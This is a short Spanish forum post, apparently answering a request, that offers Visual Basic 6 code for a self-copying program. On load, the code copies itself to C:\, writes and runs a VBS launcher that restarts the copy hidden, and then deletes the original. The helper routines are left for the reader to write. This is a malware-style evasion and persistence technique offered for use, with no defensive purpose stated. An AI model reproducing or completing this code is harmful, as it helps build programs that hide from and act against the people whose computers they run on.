HOLA!!!
Aca te arme una manera facil de hacer lo que queres
.
Seguramente va a recibir criticas pero fue XD.
Private Sub Form_Load()
If Dir("C:\" & App.EXEName & ".EXE") = "" Then
Call CopyMeToC 'ARMATE VOS TU PROPIO SELFCOPY
Open "C:\Secure.vbs" For Output As #1
Print #1, "set cmd = createobject(""wscript.shell"")"
Print #1, "set shell = createobject(""Scripting.FileSystemObject"")"
Print #1, "do while second(time) <> 30"
Print #1, "loop"
Print #1, "cmd.run " & Chr(34) & "C:\" & App.EXEName & Chr(34) & ", vbHide"
Close #1
Shell "C:\Secure.vbs"
Call SelfDeleteAndEnd 'ARMATELO
End If
End Sub
GRACIAS POR LEER!!!